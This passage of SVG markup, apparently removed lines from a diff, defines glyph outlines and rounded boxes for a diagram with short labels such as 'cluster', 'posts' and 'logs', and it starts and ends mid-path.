674.403197,557.50965 C674.924031,558.0409 675.184447,558.858608 675.184447,559.962775 L675.184447,566.6034 L673.543822,566.6034 L673.543822,560.50965 C673.543822,559.8534 673.491739,559.38465 673.387572,559.1034 C673.283406,558.811733 673.090697,558.577358 672.809447,558.400275 C672.528197,558.223192 672.200072,558.13465 671.825072,558.13465 C671.147989,558.13465 670.585489,558.363817 670.137572,558.82215 C669.689656,559.270067 669.465697,559.988817 669.465697,560.9784 L669.465697,566.6034 L667.825072,566.6034 L667.825072,560.32215 C667.825072,559.592983 667.689656,559.046108 667.418822,558.681525 C667.147989,558.316942 666.710489,558.13465 666.106322,558.13465 C665.647989,558.13465 665.220906,558.254442 664.825072,558.494025 C664.429239,558.733608 664.142781,559.087775 663.965697,559.556525 C663.799031,560.025275 663.715697,560.702358 663.715697,561.587775 L663.715697,566.6034 L662.075072,566.6034 Z M685.772093,565.025275 L685.772093,566.6034 L676.943968,566.6034 C676.933552,566.207567 676.996052,565.827358 677.131468,565.462775 C677.360635,564.858608 677.72001,564.264858 678.209593,563.681525 C678.709593,563.098192 679.428343,562.426317 680.365843,561.6659 C681.81376,560.4784 682.792927,559.535692 683.303343,558.837775 C683.81376,558.139858 684.068968,557.483608 684.068968,556.869025 C684.068968,556.212775 683.834593,555.6659 683.365843,555.2284 C682.90751,554.780483 682.303343,554.556525 681.553343,554.556525 C680.761677,554.556525 680.12626,554.796108 679.647093,555.275275 C679.178343,555.744025 678.943968,556.395067 678.943968,557.2284 L677.256468,557.056525 C677.371052,555.796108 677.803343,554.837775 678.553343,554.181525 C679.31376,553.525275 680.324177,553.19715 681.584593,553.19715 C682.865843,553.19715 683.881468,553.551317 684.631468,554.25965 C685.381468,554.967983 685.756468,555.848192 685.756468,556.900275 C685.756468,557.431525 685.647093,557.957567 685.428343,558.4784 C685.209593,558.999233 684.84501,559.546108 684.334593,560.119025 C683.834593,560.681525 682.990843,561.462775 681.803343,562.462775 C680.824177,563.285692 680.193968,563.848192 679.912718,564.150275 C679.631468,564.441942 679.402302,564.733608 679.225218,565.025275 L685.772093,565.025275 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="574.4228 379.9211 762.80073 379.9211 762.80073 420.36205 574.4228 420.36205"></polygon>
-                <path d="M615.70435,407.02863 C614.256433,407.02863 613.136642,406.585922 612.344975,405.700505 C611.553308,404.804672 611.157475,403.544255 611.157475,401.919255 C611.157475,400.242172 611.558517,398.950505 612.3606,398.044255 C613.1731,397.127588 614.318933,396.669255 615.7981,396.669255 C616.277267,396.669255 616.756433,396.721338 617.2356,396.825505 C617.725183,396.929672 618.105392,397.054672 618.376225,397.200505 L617.907475,398.481755 C617.574142,398.346338 617.209558,398.236963 616.813725,398.15363 C616.417892,398.05988 616.068933,398.013005 615.76685,398.013005 C613.7356,398.013005 612.719975,399.304672 612.719975,401.888005 C612.719975,403.117172 612.964767,404.05988 613.45435,404.71613 C613.95435,405.37238 614.693933,405.700505 615.6731,405.700505 C616.506433,405.700505 617.355392,405.523422 618.219975,405.169255 L618.219975,406.49738 C617.553308,406.851547 616.714767,407.02863 615.70435,407.02863 Z M622.101689,406.84113 L620.601689,406.84113 L620.601689,392.669255 L622.101689,392.669255 L622.101689,406.84113 Z M626.742314,396.856755 L626.742314,403.34113 C626.742314,404.15363 626.924606,404.763005 627.289189,405.169255 C627.664189,405.565088 628.242314,405.763005 629.023564,405.763005 C630.075647,405.763005 630.841272,405.476547 631.320439,404.90363 C631.799606,404.330713 632.039189,403.398422 632.039189,402.106755 L632.039189,396.856755 L633.554814,396.856755 L633.554814,406.84113 L632.304814,406.84113 L632.086064,405.49738 L632.007939,405.49738 C631.695439,405.99738 631.263147,406.377588 630.711064,406.638005 C630.169397,406.898422 629.544397,407.02863 628.836064,407.02863 C627.627731,407.02863 626.721481,406.742172 626.117314,406.169255 C625.513147,405.585922 625.211064,404.658838 625.211064,403.388005 L625.211064,396.856755 L626.742314,396.856755 Z M643.208562,404.12238 C643.208562,405.049463 642.859604,405.768213 642.161687,406.27863 C641.474187,406.77863 640.505437,407.02863 639.255437,407.02863 C637.93252,407.02863 636.90127,406.815088 636.161687,406.388005 L636.161687,404.99738 C636.640854,405.236963 637.15127,405.429672 637.692937,405.575505 C638.24502,405.710922 638.77627,405.77863 639.286687,405.77863 C640.078354,405.77863 640.687729,405.65363 641.114812,405.40363 C641.541895,405.143213 641.755437,404.757797 641.755437,404.24738 C641.755437,403.861963 641.583562,403.52863 641.239812,403.24738 C640.906479,402.96613 640.250229,402.638005 639.271062,402.263005 C638.343979,401.919255 637.68252,401.62238 637.286687,401.37238 C636.90127,401.111963 636.609604,400.820297 636.411687,400.49738 C636.224187,400.164047 636.130437,399.768213 636.130437,399.30988 C636.130437,398.49738 636.458562,397.856755 637.114812,397.388005 C637.781479,396.908838 638.692937,396.669255 639.849187,396.669255 C640.922104,396.669255 641.968979,396.888005 642.989812,397.325505 L642.458562,398.55988 C641.458562,398.143213 640.552312,397.93488 639.739812,397.93488 C639.021062,397.93488 638.479395,398.049463 638.114812,398.27863 C637.750229,398.507797 637.567937,398.815088 637.567937,399.200505 C637.567937,399.471338 637.635645,399.700505 637.771062,399.888005 C637.906479,400.075505 638.125229,400.257797 638.427312,400.43488 C638.729395,400.601547 639.312729,400.846338 640.177312,401.169255 C641.364812,401.596338 642.166895,402.02863 642.583562,402.46613 C643.000229,402.90363 643.208562,403.455713 643.208562,404.12238 Z M648.889775,405.77863 C649.160609,405.77863 649.415817,405.757797 649.6554,405.71613 C649.9054,405.674463 650.103317,405.632797 650.24915,405.59113 L650.24915,406.74738 C650.0929,406.830713 649.853317,406.898422 649.5304,406.950505 C649.207484,407.002588 648.921025,407.02863 648.671025,407.02863 C646.743942,407.02863 645.7804,406.007797 645.7804,403.96613 L645.7804,398.02863 L644.3429,398.02863 L644.3429,397.30988 L645.7804,396.669255 L646.4054,394.544255 L647.2804,394.544255 L647.2804,396.856755 L650.18665,396.856755 L650.18665,398.02863 L647.2804,398.02863 L647.2804,403.90363 C647.2804,404.507797 647.421025,404.971338 647.702275,405.294255 C647.993942,405.617172 648.389775,405.77863 648.889775,405.77863 Z M656.475957,407.02863 C654.99679,407.02863 653.830124,406.580713 652.975957,405.68488 C652.12179,404.77863 651.694707,403.52863 651.694707,401.93488 C651.694707,400.320297 652.09054,399.039047 652.882207,398.09113 C653.673874,397.143213 654.736374,396.669255 656.069707,396.669255 C657.330124,396.669255 658.319707,397.080713 659.038457,397.90363 C659.767624,398.726547 660.132207,399.815088 660.132207,401.169255 L660.132207,402.12238 L653.257207,402.12238 C653.288457,403.299463 653.585332,404.190088 654.147832,404.794255 C654.710332,405.398422 655.501999,405.700505 656.522832,405.700505 C657.595749,405.700505 658.658249,405.476547 659.710332,405.02863 L659.710332,406.37238 C659.179082,406.601547 658.673874,406.768213 658.194707,406.87238 C657.71554,406.976547 657.142624,407.02863 656.475957,407.02863 Z M656.054082,397.93488 C655.251999,397.93488 654.611374,398.200505 654.132207,398.731755 C653.663457,399.252588 653.387415,399.971338 653.304082,400.888005 L658.522832,400.888005 C658.522832,399.940088 658.30929,399.210922 657.882207,398.700505 C657.455124,398.190088 656.845749,397.93488 656.054082,397.93488 Z M667.270879,396.669255 C667.718796,396.669255 668.114629,396.705713 668.458379,396.77863 L668.255254,398.18488 C667.838587,398.09113 667.474004,398.044255 667.161504,398.044255 C666.359421,398.044255 665.666712,398.37238 665.083379,399.02863 C664.510462,399.68488 664.224004,400.502588 664.224004,401.481755 L664.224004,406.84113 L662.724004,406.84113 L662.724004,396.856755 L663.958379,396.856755 L664.145879,398.700505 L664.208379,398.700505 C664.583379,398.054672 665.031296,397.554672 665.552129,397.200505 C666.072962,396.846338 666.645879,396.669255 667.270879,396.669255 Z M670.120794,405.87238 C670.120794,405.46613 670.209335,405.158838 670.386419,404.950505 C670.573919,404.742172 670.839544,404.638005 671.183294,404.638005 C671.53746,404.638005 671.813502,404.742172 672.011419,404.950505 C672.209335,405.158838 672.308294,405.46613 672.308294,405.87238 C672.308294,406.268213 672.209335,406.575505 672.011419,406.794255 C671.813502,407.002588 671.53746,407.106755 671.183294,407.106755 C670.88121,407.106755 670.626002,407.013005 670.417669,406.825505 C670.219752,406.627588 670.120794,406.30988 670.120794,405.87238 Z M670.120794,397.825505 C670.120794,397.013005 670.47496,396.606755 671.183294,396.606755 C671.933294,396.606755 672.308294,397.013005 672.308294,397.825505 C672.308294,398.221338 672.209335,398.52863 672.011419,398.74738 C671.813502,398.955713 671.53746,399.05988 671.183294,399.05988 C670.88121,399.05988 670.626002,398.96613 670.417669,398.77863 C670.219752,398.580713 670.120794,398.263005 670.120794,397.825505 Z M686.291144,406.84113 L685.978644,405.419255 L685.916144,405.419255 C685.416144,406.044255 684.916144,406.471338 684.416144,406.700505 C683.92656,406.919255 683.311977,407.02863 682.572394,407.02863 C681.58281,407.02863 680.806769,406.773422 680.244269,406.263005 C679.681769,405.752588 679.400519,405.023422 679.400519,404.075505 C679.400519,402.065088 681.009894,401.007797 684.228644,400.90363 L685.931769,400.856755 L685.931769,400.231755 C685.931769,399.450505 685.759894,398.87238 685.416144,398.49738 C685.08281,398.12238 684.546352,397.93488 683.806769,397.93488 C682.973435,397.93488 682.030727,398.190088 680.978644,398.700505 L680.525519,397.544255 C681.015102,397.283838 681.55156,397.080713 682.134894,396.93488 C682.718227,396.77863 683.306769,396.700505 683.900519,396.700505 C685.088019,396.700505 685.968227,396.96613 686.541144,397.49738 C687.11406,398.018213 687.400519,398.861963 687.400519,400.02863 L687.400519,406.84113 L686.291144,406.84113 Z M682.869269,405.77863 C683.806769,405.77863 684.541144,405.523422 685.072394,405.013005 C685.61406,404.492172 685.884894,403.763005 685.884894,402.825505 L685.884894,401.93488 L684.384894,401.99738 C683.17656,402.039047 682.306769,402.226547 681.775519,402.55988 C681.244269,402.882797 680.978644,403.398422 680.978644,404.106755 C680.978644,404.648422 681.14531,405.065088 681.478644,405.356755 C681.811977,405.638005 682.275519,405.77863 682.869269,405.77863 Z M703.24494,406.84113 L703.24494,400.34113 C703.24494,399.549463 703.073065,398.955713 702.729315,398.55988 C702.395981,398.164047 701.86994,397.96613 701.15119,397.96613 C700.21369,397.96613 699.515773,398.236963 699.05744,398.77863 C698.609523,399.30988 698.385565,400.138005 698.385565,401.263005 L698.385565,406.84113 L696.885565,406.84113 L696.885565,400.34113 C696.885565,399.549463 696.71369,398.955713 696.36994,398.55988 C696.02619,398.164047 695.49494,397.96613 694.77619,397.96613 C693.828273,397.96613 693.130356,398.252588 692.68244,398.825505 C692.24494,399.388005 692.02619,400.315088 692.02619,401.606755 L692.02619,406.84113 L690.52619,406.84113 L690.52619,396.856755 L691.74494,396.856755 L691.99494,398.21613 L692.073065,398.21613 C692.354315,397.736963 692.755356,397.361963 693.27619,397.09113 C693.797023,396.80988 694.380356,396.669255 695.02619,396.669255 C696.578273,396.669255 697.599106,397.236963 698.08869,398.37238 L698.15119,398.37238 C698.453273,397.851547 698.885565,397.440088 699.448065,397.138005 C700.010565,396.825505 700.656398,396.669255 701.385565,396.669255 C702.510565,396.669255 703.354315,396.960922 703.916815,397.544255 C704.479315,398.127588 704.760565,399.054672 704.760565,400.325505 L704.760565,406.84113 L703.24494,406.84113 Z M712.098578,407.02863 C710.619411,407.02863 709.452744,406.580713 708.598578,405.68488 C707.744411,404.77863 707.317328,403.52863 707.317328,401.93488 C707.317328,400.320297 707.713161,399.039047 708.504828,398.09113 C709.296494,397.143213 710.358994,396.669255 711.692328,396.669255 C712.952744,396.669255 713.942328,397.080713 714.661078,397.90363 C715.390244,398.726547 715.754828,399.815088 715.754828,401.169255 L715.754828,402.12238 L708.879828,402.12238 C708.911078,403.299463 709.207953,404.190088 709.770453,404.794255 C710.332953,405.398422 711.124619,405.700505 712.145453,405.700505 C713.218369,405.700505 714.280869,405.476547 715.332953,405.02863 L715.332953,406.37238 C714.801703,406.601547 714.296494,406.768213 713.817328,406.87238 C713.338161,406.976547 712.765244,407.02863 712.098578,407.02863 Z M711.676703,397.93488 C710.874619,397.93488 710.233994,398.200505 709.754828,398.731755 C709.286078,399.252588 709.010036,399.971338 708.926703,400.888005 L714.145453,400.888005 C714.145453,399.940088 713.931911,399.210922 713.504828,398.700505 C713.077744,398.190088 712.468369,397.93488 711.676703,397.93488 Z M724.48725,406.84113 L724.17475,405.419255 L724.11225,405.419255 C723.61225,406.044255 723.11225,406.471338 722.61225,406.700505 C722.122666,406.919255 721.508083,407.02863 720.7685,407.02863 C719.778916,407.02863 719.002875,406.773422 718.440375,406.263005 C717.877875,405.752588 717.596625,405.023422 717.596625,404.075505 C717.596625,402.065088 719.206,401.007797 722.42475,400.90363 L724.127875,400.856755 L724.127875,400.231755 C724.127875,399.450505 723.956,398.87238 723.61225,398.49738 C723.278916,398.12238 722.742458,397.93488 722.002875,397.93488 C721.169541,397.93488 720.226833,398.190088 719.17475,398.700505 L718.721625,397.544255 C719.211208,397.283838 719.747666,397.080713 720.331,396.93488 C720.914333,396.77863 721.502875,396.700505 722.096625,396.700505 C723.284125,396.700505 724.164333,396.96613 724.73725,397.49738 C725.310166,398.018213 725.596625,398.861963 725.596625,400.02863 L725.596625,406.84113 L724.48725,406.84113 Z M721.065375,405.77863 C722.002875,405.77863 722.73725,405.523422 723.2685,405.013005 C723.810166,404.492172 724.081,403.763005 724.081,402.825505 L724.081,401.93488 L722.581,401.99738 C721.372666,402.039047 720.502875,402.226547 719.971625,402.55988 C719.440375,402.882797 719.17475,403.398422 719.17475,404.106755 C719.17475,404.648422 719.341416,405.065088 719.67475,405.356755 C720.008083,405.638005 720.471625,405.77863 721.065375,405.77863 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,461.4159 C657.397257,461.926317 656.808715,462.2909 656.246215,462.50965 C655.694132,462.717983 655.095173,462.82215 654.44934,462.82215 C653.38684,462.82215 652.569132,462.561733 651.996215,462.0409 C651.423298,461.520067 651.13684,460.858608 651.13684,460.056525 C651.13684,459.577358 651.246215,459.145067 651.464965,458.75965 C651.683715,458.363817 651.964965,458.051317 652.308715,457.82215 C652.662882,457.582567 653.058715,457.400275 653.496215,457.275275 C653.808715,457.191942 654.29309,457.108608 654.94934,457.025275 C656.272257,456.869025 657.246215,456.681525 657.871215,456.462775 C657.881632,456.233608 657.88684,456.092983 657.88684,456.0409 C657.88684,455.374233 657.73059,454.900275 657.41809,454.619025 C657.001423,454.254442 656.376423,454.07215 655.54309,454.07215 C654.772257,454.07215 654.204548,454.207567 653.839965,454.4784 C653.475382,454.749233 653.204548,455.223192 653.027465,455.900275 L651.41809,455.681525 C651.563923,455.004442 651.803507,454.457567 652.13684,454.0409 C652.470173,453.613817 652.954548,453.285692 653.589965,453.056525 C654.225382,452.827358 654.954548,452.712775 655.777465,452.712775 C656.610798,452.712775 657.282673,452.811733 657.79309,453.00965 C658.313923,453.19715 658.694132,453.441942 658.933715,453.744025 C659.183715,454.035692 659.35559,454.405483 659.44934,454.8534 C659.501423,455.13465 659.527465,455.639858 659.527465,456.369025 L659.527465,458.556525 C659.527465,460.077358 659.563923,461.0409 659.63684,461.44715 C659.709757,461.842983 659.845173,462.2284 660.04309,462.6034 L658.339965,462.6034 C658.162882,462.25965 658.053507,461.863817 658.01184,461.4159 Z M657.871215,457.744025 C657.277465,457.994025 656.38684,458.202358 655.19934,458.369025 C654.522257,458.462775 654.04309,458.57215 653.76184,458.69715 C653.48059,458.82215 653.26184,458.999233 653.10559,459.2284 C652.959757,459.457567 652.88684,459.717983 652.88684,460.00965 C652.88684,460.44715 653.053507,460.811733 653.38684,461.1034 C653.720173,461.395067 654.204548,461.5409 654.839965,461.5409 C655.464965,461.5409 656.022257,461.405483 656.51184,461.13465 C657.01184,460.8534 657.376423,460.473192 657.60559,459.994025 C657.782673,459.619025 657.871215,459.07215 657.871215,458.3534 L657.871215,457.744025 Z M662.075072,462.6034 L662.075072,452.931525 L663.543822,452.931525 L663.543822,454.2909 C663.845906,453.811733 664.246947,453.431525 664.746947,453.150275 C665.257364,452.858608 665.830281,452.712775 666.465697,452.712775 C667.184447,452.712775 667.772989,452.863817 668.231322,453.1659 C668.689656,453.457567 669.012572,453.869025 669.200072,454.400275 C669.970906,453.275275 670.965697,452.712775 672.184447,452.712775 C673.153197,452.712775 673.892781,452.9784 674.403197,453.50965 C674.924031,454.0409 675.184447,454.858608 675.184447,455.962775 L675.184447,462.6034 L673.543822,462.6034 L673.543822,456.50965 C673.543822,455.8534 673.491739,455.38465 673.387572,455.1034 C673.283406,454.811733 673.090697,454.577358 672.809447,454.400275 C672.528197,454.223192 672.200072,454.13465 671.825072,454.13465 C671.147989,454.13465 670.585489,454.363817 670.137572,454.82215 C669.689656,455.270067 669.465697,455.988817 669.465697,456.9784 L669.465697,462.6034 L667.825072,462.6034 L667.825072,456.32215 C667.825072,455.592983 667.689656,455.046108 667.418822,454.681525 C667.147989,454.316942 666.710489,454.13465 666.106322,454.13465 C665.647989,454.13465 665.220906,454.254442 664.825072,454.494025 C664.429239,454.733608 664.142781,455.087775 663.965697,455.556525 C663.799031,456.025275 663.715697,456.702358 663.715697,457.587775 L663.715697,462.6034 L662.075072,462.6034 Z M683.334593,462.6034 L681.693968,462.6034 L681.693968,452.150275 C681.298135,452.525275 680.777302,452.905483 680.131468,453.2909 C679.496052,453.6659 678.923135,453.94715 678.412718,454.13465 L678.412718,452.5409 C679.329385,452.113817 680.131468,451.592983 680.818968,450.9784 C681.506468,450.363817 681.990843,449.770067 682.272093,449.19715 L683.334593,449.19715 L683.334593,462.6034 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M636.8635,480.42615 L636.8635,480.42615 C636.8635,476.619509 639.949377,473.533633 643.756017,473.533633 L693.467017,473.533633 C695.29502,473.533633 697.048194,474.259799 698.340796,475.552401 C699.633399,476.845004 700.359534,478.598147 700.359534,480.42615 L700.359534,507.995425 C700.359534,511.802066 697.273658,514.887942 693.467017,514.887942 L643.756017,514.887942 C639.949377,514.887942 636.8635,511.802066 636.8635,507.995425 L636.8635,480.42615 Z" id="Path" fill="#FEC514"></path>
-                <path d="M650.553,493.75827 L650.553,482.273895 L651.83425,482.273895 L651.83425,483.35202 C652.136333,482.924937 652.474875,482.607228 652.849875,482.398895 C653.235292,482.190562 653.698833,482.086395 654.2405,482.086395 C654.948833,482.086395 655.573833,482.268687 656.1155,482.63327 C656.657167,482.997853 657.063417,483.513478 657.33425,484.180145 C657.6155,484.836395 657.756125,485.560353 657.756125,486.35202 C657.756125,487.206187 657.599875,487.971812 657.287375,488.648895 C656.985292,489.325978 656.542583,489.846812 655.95925,490.211395 C655.386333,490.575978 654.776958,490.75827 654.131125,490.75827 C653.662375,490.75827 653.2405,490.659312 652.8655,490.461395 C652.500917,490.263478 652.198833,490.013478 651.95925,489.711395 L651.95925,493.75827 L650.553,493.75827 Z M651.818625,486.461395 C651.818625,487.534312 652.032167,488.325978 652.45925,488.836395 C652.89675,489.346812 653.422792,489.60202 654.037375,489.60202 C654.662375,489.60202 655.198833,489.336395 655.64675,488.805145 C656.094667,488.273895 656.318625,487.456187 656.318625,486.35202 C656.318625,485.28952 656.099875,484.497853 655.662375,483.97702 C655.224875,483.44577 654.704042,483.180145 654.099875,483.180145 C653.506125,483.180145 652.974875,483.461395 652.506125,484.023895 C652.047792,484.586395 651.818625,485.398895 651.818625,486.461395 Z M658.920187,486.41452 C658.920187,484.88327 659.347271,483.747853 660.201437,483.00827 C660.920187,482.393687 661.789979,482.086395 662.810812,482.086395 C663.956646,482.086395 664.888937,482.461395 665.607687,483.211395 C666.336854,483.950978 666.701437,484.982228 666.701437,486.305145 C666.701437,487.367645 666.539979,488.206187 666.217062,488.82077 C665.894146,489.435353 665.425396,489.91452 664.810812,490.25827 C664.206646,490.591603 663.539979,490.75827 662.810812,490.75827 C661.654562,490.75827 660.717062,490.388478 659.998312,489.648895 C659.279562,488.898895 658.920187,487.82077 658.920187,486.41452 Z M660.373312,486.41452 C660.373312,487.47702 660.602479,488.273895 661.060812,488.805145 C661.529562,489.336395 662.112896,489.60202 662.810812,489.60202 C663.508729,489.60202 664.086854,489.336395 664.545187,488.805145 C665.013937,488.273895 665.248312,487.461395 665.248312,486.367645 C665.248312,485.346812 665.013937,484.57077 664.545187,484.03952 C664.086854,483.50827 663.508729,483.242645 662.810812,483.242645 C662.112896,483.242645 661.529562,483.50827 661.060812,484.03952 C660.602479,484.560353 660.373312,485.35202 660.373312,486.41452 Z M667.787375,488.086395 L669.178,487.867645 C669.250917,488.430145 669.464458,488.862437 669.818625,489.16452 C670.183208,489.456187 670.683208,489.60202 671.318625,489.60202 C671.964458,489.60202 672.443625,489.471812 672.756125,489.211395 C673.068625,488.940562 673.224875,488.628062 673.224875,488.273895 C673.224875,487.961395 673.089458,487.711395 672.818625,487.523895 C672.620708,487.398895 672.141542,487.242645 671.381125,487.055145 C670.349875,486.794728 669.631125,486.57077 669.224875,486.38327 C668.829042,486.185353 668.526958,485.919728 668.318625,485.586395 C668.120708,485.253062 668.02175,484.88327 668.02175,484.47702 C668.02175,484.10202 668.105083,483.75827 668.27175,483.44577 C668.438417,483.13327 668.667583,482.872853 668.95925,482.66452 C669.178,482.497853 669.474875,482.362437 669.849875,482.25827 C670.235292,482.143687 670.641542,482.086395 671.068625,482.086395 C671.724875,482.086395 672.297792,482.180145 672.787375,482.367645 C673.276958,482.555145 673.636333,482.810353 673.8655,483.13327 C674.105083,483.44577 674.27175,483.872853 674.3655,484.41452 L672.9905,484.60202 C672.928,484.174937 672.745708,483.841603 672.443625,483.60202 C672.141542,483.362437 671.719667,483.242645 671.178,483.242645 C670.532167,483.242645 670.068625,483.35202 669.787375,483.57077 C669.516542,483.779103 669.381125,484.023895 669.381125,484.305145 C669.381125,484.492645 669.438417,484.659312 669.553,484.805145 C669.667583,484.950978 669.844667,485.075978 670.08425,485.180145 C670.230083,485.232228 670.64675,485.35202 671.33425,485.53952 C672.323833,485.799937 673.016542,486.018687 673.412375,486.19577 C673.808208,486.362437 674.1155,486.607228 674.33425,486.930145 C674.563417,487.253062 674.678,487.654103 674.678,488.13327 C674.678,488.60202 674.537375,489.044728 674.256125,489.461395 C673.985292,489.867645 673.589458,490.185353 673.068625,490.41452 C672.558208,490.643687 671.980083,490.75827 671.33425,490.75827 C670.250917,490.75827 669.428,490.534312 668.8655,490.086395 C668.303,489.638478 667.943625,488.971812 667.787375,488.086395 Z M679.412375,489.305145 L679.6155,490.555145 C679.219667,490.638478 678.8655,490.680145 678.553,490.680145 C678.042583,490.680145 677.64675,490.60202 677.3655,490.44577 C677.08425,490.279103 676.886333,490.065562 676.77175,489.805145 C676.657167,489.534312 676.599875,488.97702 676.599875,488.13327 L676.599875,483.367645 L675.568625,483.367645 L675.568625,482.273895 L676.599875,482.273895 L676.599875,480.211395 L678.006125,479.367645 L678.006125,482.273895 L679.412375,482.273895 L679.412375,483.367645 L678.006125,483.367645 L678.006125,488.211395 C678.006125,488.617645 678.026958,488.878062 678.068625,488.992645 C678.120708,489.107228 678.204042,489.200978 678.318625,489.273895 C678.433208,489.336395 678.594667,489.367645 678.803,489.367645 C678.95925,489.367645 679.162375,489.346812 679.412375,489.305145 Z M680.232687,488.086395 L681.623312,487.867645 C681.696229,488.430145 681.909771,488.862437 682.263937,489.16452 C682.628521,489.456187 683.128521,489.60202 683.763937,489.60202 C684.409771,489.60202 684.888937,489.471812 685.201437,489.211395 C685.513937,488.940562 685.670187,488.628062 685.670187,488.273895 C685.670187,487.961395 685.534771,487.711395 685.263937,487.523895 C685.066021,487.398895 684.586854,487.242645 683.826437,487.055145 C682.795187,486.794728 682.076437,486.57077 681.670187,486.38327 C681.274354,486.185353 680.972271,485.919728 680.763937,485.586395 C680.566021,485.253062 680.467062,484.88327 680.467062,484.47702 C680.467062,484.10202 680.550396,483.75827 680.717062,483.44577 C680.883729,483.13327 681.112896,482.872853 681.404562,482.66452 C681.623312,482.497853 681.920187,482.362437 682.295187,482.25827 C682.680604,482.143687 683.086854,482.086395 683.513937,482.086395 C684.170187,482.086395 684.743104,482.180145 685.232687,482.367645 C685.722271,482.555145 686.081646,482.810353 686.310812,483.13327 C686.550396,483.44577 686.717062,483.872853 686.810812,484.41452 L685.435812,484.60202 C685.373312,484.174937 685.191021,483.841603 684.888937,483.60202 C684.586854,483.362437 684.164979,483.242645 683.623312,483.242645 C682.977479,483.242645 682.513937,483.35202 682.232687,483.57077 C681.961854,483.779103 681.826437,484.023895 681.826437,484.305145 C681.826437,484.492645 681.883729,484.659312 681.998312,484.805145 C682.112896,484.950978 682.289979,485.075978 682.529562,485.180145 C682.675396,485.232228 683.092062,485.35202 683.779562,485.53952 C684.769146,485.799937 685.461854,486.018687 685.857687,486.19577 C686.253521,486.362437 686.560812,486.607228 686.779562,486.930145 C687.008729,487.253062 687.123312,487.654103 687.123312,488.13327 C687.123312,488.60202 686.982687,489.044728 686.701437,489.461395 C686.430604,489.867645 686.034771,490.185353 685.513937,490.41452 C685.003521,490.643687 684.425396,490.75827 683.779562,490.75827 C682.696229,490.75827 681.873312,490.534312 681.310812,490.086395 C680.748312,489.638478 680.388937,488.971812 680.232687,488.086395 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,509.57077 L663.38892,509.57077 L663.38892,500.60202 C663.04517,500.924937 662.597253,501.247853 662.04517,501.57077 C661.503503,501.893687 661.01392,502.138478 660.57642,502.305145 L660.57642,500.94577 C661.35767,500.57077 662.039962,500.122853 662.623295,499.60202 C663.217045,499.07077 663.63892,498.560353 663.88892,498.07077 L664.79517,498.07077 L664.79517,509.57077 Z M668.959232,509.57077 L668.959232,498.117645 L673.287357,498.117645 C674.047774,498.117645 674.625899,498.154103 675.021732,498.22702 C675.584232,498.32077 676.052982,498.497853 676.427982,498.75827 C676.813399,499.018687 677.120691,499.388478 677.349857,499.867645 C677.589441,500.336395 677.709232,500.857228 677.709232,501.430145 C677.709232,502.398895 677.396732,503.221812 676.771732,503.898895 C676.157149,504.575978 675.037357,504.91452 673.412357,504.91452 L670.474857,504.91452 L670.474857,509.57077 L668.959232,509.57077 Z M670.474857,503.555145 L673.443607,503.555145 C674.422774,503.555145 675.115482,503.372853 675.521732,503.00827 C675.938399,502.643687 676.146732,502.13327 676.146732,501.47702 C676.146732,500.997853 676.021732,500.586395 675.771732,500.242645 C675.532149,499.898895 675.214441,499.674937 674.818607,499.57077 C674.568607,499.497853 674.099857,499.461395 673.412357,499.461395 L670.474857,499.461395 L670.474857,503.555145 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M636.8635,584.42615 L636.8635,584.42615 C636.8635,580.619509 639.949377,577.533633 643.756017,577.533633 L693.467017,577.533633 C695.29502,577.533633 697.048194,578.259768 698.340796,579.552371 C699.633399,580.844973 700.359534,582.598147 700.359534,584.42615 L700.359534,611.995425 C700.359534,615.802066 697.273658,618.887942 693.467017,618.887942 L643.756017,618.887942 C639.949377,618.887942 636.8635,615.802066 636.8635,611.995425 L636.8635,584.42615 Z" id="Path" fill="#FA734F"></path>
-                <path d="M654.96704,594.5708 L654.96704,583.117675 L656.37329,583.117675 L656.37329,594.5708 L654.96704,594.5708 Z M658.021727,590.41455 C658.021727,588.8833 658.448811,587.747883 659.302977,587.0083 C660.021727,586.393717 660.891519,586.086425 661.912352,586.086425 C663.058186,586.086425 663.990477,586.461425 664.709227,587.211425 C665.438394,587.951008 665.802977,588.982258 665.802977,590.305175 C665.802977,591.367675 665.641519,592.206217 665.318602,592.8208 C664.995686,593.435383 664.526936,593.91455 663.912352,594.2583 C663.308186,594.591633 662.641519,594.7583 661.912352,594.7583 C660.756102,594.7583 659.818602,594.388508 659.099852,593.648925 C658.381102,592.898925 658.021727,591.8208 658.021727,590.41455 Z M659.474852,590.41455 C659.474852,591.47705 659.704019,592.273925 660.162352,592.805175 C660.631102,593.336425 661.214436,593.60205 661.912352,593.60205 C662.610269,593.60205 663.188394,593.336425 663.646727,592.805175 C664.115477,592.273925 664.349852,591.461425 664.349852,590.367675 C664.349852,589.346842 664.115477,588.5708 663.646727,588.03955 C663.188394,587.5083 662.610269,587.242675 661.912352,587.242675 C661.214436,587.242675 660.631102,587.5083 660.162352,588.03955 C659.704019,588.560383 659.474852,589.35205 659.474852,590.41455 Z M667.18579,595.2583 L668.56079,595.461425 C668.612873,595.888508 668.769123,596.1958 669.02954,596.3833 C669.383707,596.643717 669.862873,596.773925 670.46704,596.773925 C671.112873,596.773925 671.612873,596.643717 671.96704,596.3833 C672.321207,596.122883 672.56079,595.7583 